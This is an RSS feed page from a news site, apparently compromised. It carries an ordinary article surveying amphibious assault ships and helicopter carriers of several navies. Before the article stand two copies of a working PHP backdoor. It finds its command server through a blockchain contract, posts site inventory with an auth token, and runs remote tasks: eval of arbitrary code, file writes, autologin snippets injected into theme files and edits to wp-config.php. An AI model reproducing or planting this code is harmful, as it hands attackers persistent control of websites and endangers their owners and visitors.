// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); militaries – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 06 Sep 2022 23:46:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png militaries – Brief News https://briefnews.eu 32 32 The not-quite-aircraft-carriers that the US Navy and other militaries use to carry jets, tanks, and troops into battle https://briefnews.eu/the-not-quite-aircraft-carriers-that-the-us-navy-and-other-militaries-use-to-carry-jets-tanks-and-troops-into-battle/ https://briefnews.eu/the-not-quite-aircraft-carriers-that-the-us-navy-and-other-militaries-use-to-carry-jets-tanks-and-troops-into-battle/#respond Tue, 06 Sep 2022 23:46:04 +0000 https://briefnews.eu/the-not-quite-aircraft-carriers-that-the-us-navy-and-other-militaries-use-to-carry-jets-tanks-and-troops-into-battle/ Navy amphibious assault ship Bonhomme Richard Dokdo
South Korean navy amphibious assault ship ROKS Dokdo, foreground, with US Navy amphibious assault ship USS Bonhomme Richard.

US Navy/MCS2 Michael Achterling

  • Aircraft carriers are usually the centerpiece of a fleet, but only a few navies have them.
  • Many more navies have amphibious assault ships or helicopter carriers, which carry aircraft, troops, and gear.
  • Amphibs and helicopter carriers give smaller navies capabilities like those of larger naval powers.

Few warships get as much attention as aircraft carriers. Massive in size and marvels of engineering, they are essential tools of power projection and symbols of national status.

Today, eight countries — the US, UK, France, Spain, Italy, India, Russia, and China — operate flattops capable of launching and landing fixed-wing aircraft, but the list grows when amphibious assault ships and helicopter carriers are included.

Amphibious assault ships and helicopter carriers evolved from the island-hoping campaigns of World War II. They allow for the simultaneous deployment of naval infantry and air support.

As multipurpose vessels, they can carry out other missions — notably anti-submarine warfare.

While not as imposing as full-fledged flattops, amphibious assault ships and helicopter carriers allow smaller navies to wield capabilities usually reserved to larger maritime powers.

San Giorgio-class

Italy navy amphibious ship San Marco
Italian navy amphibious ship San Marco in the Mediterranean Sea in 2016.

US Navy/MCS1 Rafael Martie

The ships of Italy's San Giorgio-class have been extensively modified since the first one was commissioned in 1988.

The first two ships, San Giorgio and San Marco, are 436 feet long and displace roughly 7,900 tons. The third, San Giusto, displaces over 8,000 tons.

The ships were designed as amphibious transport docks and have a well deck that can be flooded so amphibious vehicles can exit and enter. They can carry up to 350 soldiers and as many as 36 armored vehicles. They were initially armed with a bow-mounted 76mm gun, but only San Giusto still has one.

Algerian amphibious ship Kalaat Beni-Abbes
Italian sailors and marines train with Algerian navy amphibious ship Kalaat Beni-Abbes in May 2016.

US Navy/MCS2 Justin Stumberg

San Giorgio and San Marco were modified to have full-length decks from which four helicopters — mainly AW101s, AB-212s, or SH-90s — can operate. As a result, they can only carry two landing craft to transport troops and equipment. San Giusto can only operate one helicopter, but it can carry three landing craft.

In 2011, Algeria ordered an improved variant of the San Giorgio-class, which was commissioned as Kalaat Béni Abbès in 2014.

At 465 feet long, it is larger than its predecessors, though its deck is only 416 feet. It can carry 450 troops and has two landing spots for AW101 or Super Lynx helicopters. It is also armed with missiles in two vertical launchers and still has the bow-mounted 76mm gun.

Type 0891A/Type 075

Type 075 (rendering)
An illustration of China's Type 075 amphibious assault ship.

CCTV

In 1997, China commissioned its first aviation ship, the Type 0891A, also known as the Shichang 82. It is 410 feet long and displaces 9,500 tons. Its deck has landing spots for at least two Harbin Z-9 helicopters.

With no armaments or internal hangar, the Shichang 82 is used almost exclusively for training and transport, but the experience of operating helicopters on it — and intense study of foreign navies — informed the design of China's first real amphibious assault ship, the Type 075-class.

Displacing about 36,000 tons and measuring 778 feet, the Type 075 can carry 30 helicopters, mainly the Z-8, Z-9 and Z-20 models. Russian-made Ka-52K attack helicopters may also be part of the air wing.

Equipped with a floodable well deck, the Type 075s can carry dozens of armored vehicles, about 900 troops, and multiple hovercraft known as Landing Craft Air Cushion (LCAC).

Three Type 075s have been completed — two entered service in 2021 — China plans to have eight in total. There are also reports of interest in a follow-on subclass, the Type 076, which could feature electromagnetic catapults capable of launching fixed-wing drones.

Ocean/Atlântico

BNS Atlântico amphibious assault ship
BNS Atlântico in August 2019.

US Marine Corps/Sgt. Daniel Barriospirela

In 1998, the British Royal Navy commissioned HMS Ocean, which was designed to carry 800 marines and up to 40 vehicles.

Ocean didn't have a floodable well deck, but it was equipped with a stern ramp and four sets of davits on its sides to launch landing craft.

After 20 years in service with the Royal Navy, the ship was sold to Brazil in 2018. It was recommissioned the same year as Atlântico and was given upgrades. In 2020, Brazil announced that Atlântico could operate fixed-wing drones and tilt-rotor aircraft.

Its 660-foot deck can handle at least six helicopters simultaneously, mainly a combination of the EC725 Caracal, S-70B Seahawk, and AS350 Ecureuil models. Its hangar deck can store a total of 18 helicopters.

Mistral-class

French amphibious assault ship LHD Tonnerre (L9014)
French navy ship Tonnerre, the second Mistral-class amphibious assault ship.

US Marine Corps

In 2005, the French Navy commissioned the first of its three Mistral-class amphibious assault ships. Each has a 652-foot deck and a full displacement of over 21,000 tons.

The Mistrals can flood their well decks to launch 450 troops, over a dozen vehicles, and four landing craft or two LCACs.

They can also carry 16 helicopters, six of which can operate on the flight deck at a time. The helicopters most commonly used aboard Mistrals are NH-90s and SA 330 Pumas.

Two Mistrals were built for Russia, but the contract was cancelled after Moscow annexed Crimea in 2014. The ships were instead sold to Egypt, which purchased dozens of Kamov Ka-52K, Kamov Ka-29TB, and Kamov Ka-27P helicopters from Russia — helicopters that Russia was planning to use on its Mistrals.

Dokdo-class

South Korea Dokdo-class amphibious assault ship ROKS Marado
South Korean navy amphibious assault ship ROKS Marado in the Pacific in June 2022.

US Navy/MCS1 Ian Cotter

In 2007, South Korea commissioned ROKS Dokdo, the first of two Dokdo-class amphibious assault ships.

At 652 feet long and displacing over 18,000 tons, Dokdo-class ships have flat flight decks and floodable well decks. They can carry about 700 marines, roughly a dozen armored vehicles, and two LCACs.

Each Dokdo can carry up to 15 helicopters, usually a combination of UH-1Hs and UH-60P Black Hawks. Future air wings will include the KAI MUH-1 Marineons.

The second Dokdo-class vessel, ROKS Marado, was commissioned in 2021 and features a number of changes, including vertical launch cells for anti-aircraft, anti-ship, and land-attack missiles, among others.

Hyūga, Izumo, and Ōsumi-class

hyuga japan navy aircraft carrier
Japanese Maritime Self-Defense Force helicopter destroyer JS Hyuga.

US Navy

Not to be outdone, Japan in 2009 commissioned the first of two Hyūga-class helicopter destroyers.

Measuring 646 feet and displacing some 18,000 tons, their air wings usually consist of three SH‐60K Seahawks and one MCH‐101.

They are also armed with 16 Mk 41 vertical launch missile cells, two Phalanx close-in weapon systems, and two triple-torpedo tubes.

Navy aircraft carrier Ronald Reagan Japanese Izumo
JS Izumo, right, with US Navy aircraft carrier USS Ronald Reagan.

Japan Maritime Self-Defense Force

In addition to the two Hyūgas, Japan is converting its two Izumo-class helicopter carriers into full-fledged carriers that can operate F-35B short-takeoff and vertical-landing jets.

Japan also has three Ōsumi-class tank landing ships that are primarily tasked with transporting troops, vehicles, and landing craft but can also operate helicopters on their flat decks.

Juan Carlos I

Marine Corps MV-22B Osprey aboard Juan Carlos I
US Marine Corps MV-22B Ospreys aboard Spanish amphibious assault ship Juan Carlos I in October 2015.

US Marine Corps/Staff Sgt. Vitaliy Rusavskiy

In 2010, Spain commissioned the Juan Carlos I. At 757 feet long, it has a floodable well deck and can carry up to 24 aircraft, about 900 troops, and over a dozen armored vehicles, in addition to hovercraft and landing craft.

The Juan Carlos differs from most amphibious assault ships in that it can operate fixed-wing aircraft, making it more similar to the US Navy's Wasp and America classes.

The Juan Carlos I has a ski-jump ramp and a deck designed to handle the jet blast from short-takeoff and vertical-landing aircraft, like the AV-8B Harrier II jet and V-22 Osprey tilt-rotor aircraft. (The ship could support F-35Bs, but Spain has no plans to buy them.)

Juan Carlos I's air wing is often mixed, with 12 AV-8B Harrier IIs and 12 helicopters, usually a combination of NH-90s, SH-3Ds, AB-212s and CH-47s.

Canberra and Anadolu

Marine Corps amphibious assault vehicles HMAS Canberra
A US Marine Corps amphibious assault vehicles enter HMAS Canberra's well deck in July 2016.

Royal Australian Navy/ABIS Steven Thomson

The Juan Carlos I-class is named for a former Spanish king, but Spain isn't the only country that uses it.

Juan Carlos I is the basis for Australia's two Canberra-class vessels, which were partly built by the same Spanish shipyard, and for Turkey's TCG Anadolu.

The Canberra-class kept the ski-jump ramp but can't operate fixed-wing aircraft, carrying 18 helicopters instead. Their air wings are usually made up of MRH-90s and SH-60 Seahawks but can include CH-47s and ARH Tigers.

Recep Tayyip Erdogan amphibious assault ship TCG Anadolu
Turkish President Recep Tayyip Erdogan views TCG Anadolu from a plane in December 2019.

Mustafa Kamaci/Anadolu Agency via Getty Images

Turkey's expulsion from the F-35 program meant Ankara couldn't buy F-35Bs, and it plans to make TCG Anadolu a drone carrier instead. The new air wing will include a naval variant of the Bayraktar TB2 with foldable wings and an unmanned fighter jet currently under development.

